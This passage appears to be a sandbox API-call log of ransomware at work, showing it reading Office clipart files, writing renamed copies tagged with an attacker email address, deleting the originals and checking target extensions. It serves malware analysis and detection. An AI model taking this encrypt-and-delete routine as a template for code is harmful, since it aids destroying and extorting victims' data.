dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.615] SetEndOfFile (hFile=0x368) returned 1 [0061.616] CloseHandle (hObject=0x368) returned 1 [0061.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0061.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.869] lstrlenW (lpString=".doc") returned 4 [0061.879] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.897] lstrlenW (lpString=".docx") returned 5 [0061.897] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.897] lstrlenW (lpString=".pdf") returned 4 [0061.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.897] lstrlenW (lpString=".xls") returned 4 [0061.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.897] lstrlenW (lpString=".xlsx") returned 5 [0061.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.897] lstrlenW (lpString=".ppt") returned 4 [0061.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.897] lstrlenW (lpString=".zip") returned 4 [0061.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.897] lstrlenW (lpString=".rar") returned 4 [0061.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.897] lstrlenW (lpString=".bz2") returned 4 [0061.897] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.897] lstrlenW (lpString=".7z") returned 3 [0061.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.897] lstrlenW (lpString=".dbf") returned 4 [0061.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.897] lstrlenW (lpString=".1cd") returned 4 [0061.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.897] lstrlenW (lpString=".jpg") returned 4 [0061.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString=".doc") returned 4 [0061.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.898] lstrlenW (lpString=".docx") returned 5 [0061.898] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.898] lstrlenW (lpString=".pdf") returned 4 [0061.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString=".xls") returned 4 [0061.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString=".xlsx") returned 5 [0061.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.898] lstrlenW (lpString=".ppt") returned 4 [0061.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString=".zip") returned 4 [0061.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString=".rar") returned 4 [0061.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.898] lstrlenW (lpString=".bz2") returned 4 [0061.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.898] lstrlenW (lpString=".7z") returned 3 [0061.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString=".dbf") returned 4 [0061.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString=".1cd") returned 4 [0061.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0061.898] lstrlenW (lpString=".jpg") returned 4 [0061.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.899] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.899] lstrlenW (lpString="AG00130_.GIF") returned 12 [0061.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.899] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=5253) returned 1 [0061.899] CloseHandle (hObject=0x38c) returned 1 [0061.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0061.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.900] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.900] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0061.900] GetLastError () returned 0x0 [0061.900] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1485, lpOverlapped=0x0) returned 1 [0061.901] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1490, lpOverlapped=0x0) returned 1 [0061.902] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.902] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.903] SetEndOfFile (hFile=0x390) returned 1 [0061.903] CloseHandle (hObject=0x390) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.904] SetEndOfFile (hFile=0x38c) returned 1 [0061.905] CloseHandle (hObject=0x38c) returned 1 [0061.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0061.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.905] lstrlenW (lpString=".doc") returned 4 [0061.905] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.905] lstrlenW (lpString=".docx") returned 5 [0061.905] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.905] lstrlenW (lpString=".pdf") returned 4 [0061.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString=".xls") returned 4 [0061.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.905] lstrlenW (lpString=".xlsx") returned 5 [0061.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.906] lstrlenW (lpString=".ppt") returned 4 [0061.906] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString=".zip") returned 4 [0061.906] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString=".rar") returned 4 [0061.906] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString=".bz2") returned 4 [0061.906] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.906] lstrlenW (lpString=".7z") returned 3 [0061.906] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString=".dbf") returned 4 [0061.906] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString=".1cd") returned 4 [0061.906] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString=".jpg") returned 4 [0061.906] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.906] lstrlenW (lpString=".doc") returned 4 [0061.906] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.906] lstrlenW (lpString=".docx") returned 5 [0061.906] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.906] lstrlenW (lpString=".pdf") returned 4 [0061.906] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString=".xls") returned 4 [0061.906] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.906] lstrlenW (lpString=".xlsx") returned 5 [0061.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.907] lstrlenW (lpString=".ppt") returned 4 [0061.907] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.907] lstrlenW (lpString=".zip") returned 4 [0061.907] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.907] lstrlenW (lpString=".rar") returned 4 [0061.907] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.907] lstrlenW (lpString=".bz2") returned 4 [0061.907] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.907] lstrlenW (lpString=".7z") returned 3 [0061.907] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.907] lstrlenW (lpString=".dbf") returned 4 [0061.907] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.907] lstrlenW (lpString=".1cd") returned 4 [0061.907] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0061.907] lstrlenW (lpString=".jpg") returned 4 [0061.907] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.907] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.907] lstrlenW (lpString="AG00135_.GIF") returned 12 [0061.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.916] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2596) returned 1 [0061.916] CloseHandle (hObject=0x38c) returned 1 [0061.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0061.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.917] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0061.917] GetLastError () returned 0x0 [0061.917] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa24, lpOverlapped=0x0) returned 1 [0061.919] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa30, lpOverlapped=0x0) returned 1 [0061.920] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.920] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.920] SetEndOfFile (hFile=0x390) returned 1 [0061.920] CloseHandle (hObject=0x390) returned 1 [0061.922] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.922] SetEndOfFile (hFile=0x38c) returned 1 [0061.923] CloseHandle (hObject=0x38c) returned 1 [0061.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0061.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.923] lstrlenW (lpString=".doc") returned 4 [0061.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.923] lstrlenW (lpString=".docx") returned 5 [0061.923] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.923] lstrlenW (lpString=".pdf") returned 4 [0061.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.923] lstrlenW (lpString=".xls") returned 4 [0061.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString=".xlsx") returned 5 [0061.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.924] lstrlenW (lpString=".ppt") returned 4 [0061.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString=".zip") returned 4 [0061.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString=".rar") returned 4 [0061.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString=".bz2") returned 4 [0061.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.924] lstrlenW (lpString=".7z") returned 3 [0061.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString=".dbf") returned 4 [0061.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString=".1cd") returned 4 [0061.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString=".jpg") returned 4 [0061.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.924] lstrlenW (lpString=".doc") returned 4 [0061.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.924] lstrlenW (lpString=".docx") returned 5 [0061.924] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.924] lstrlenW (lpString=".pdf") returned 4 [0061.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.924] lstrlenW (lpString=".xls") returned 4 [0061.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.925] lstrlenW (lpString=".xlsx") returned 5 [0061.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.925] lstrlenW (lpString=".ppt") returned 4 [0061.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.925] lstrlenW (lpString=".zip") returned 4 [0061.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.925] lstrlenW (lpString=".rar") returned 4 [0061.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.925] lstrlenW (lpString=".bz2") returned 4 [0061.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.925] lstrlenW (lpString=".7z") returned 3 [0061.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.925] lstrlenW (lpString=".dbf") returned 4 [0061.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.925] lstrlenW (lpString=".1cd") returned 4 [0061.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0061.925] lstrlenW (lpString=".jpg") returned 4 [0061.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.925] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.925] lstrlenW (lpString="AG00139_.GIF") returned 12 [0061.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.926] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10607) returned 1 [0061.926] CloseHandle (hObject=0x38c) returned 1 [0061.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0061.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0061.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0061.926] GetLastError () returned 0x0 [0061.927] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x296f, lpOverlapped=0x0) returned 1 [0061.928] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2970, lpOverlapped=0x0) returned 1 [0061.929] ReadFile (in: hFile=0x38c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.929] WriteFile (in: hFile=0x390, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0061.929] SetEndOfFile (hFile=0x390) returned 1 [0061.930] CloseHandle (hObject=0x390) returned 1 [0061.931] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.931] SetEndOfFile (hFile=0x38c) returned 1 [0061.931] CloseHandle (hObject=0x38c) returned 1 [0061.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0061.932] lstrlenW 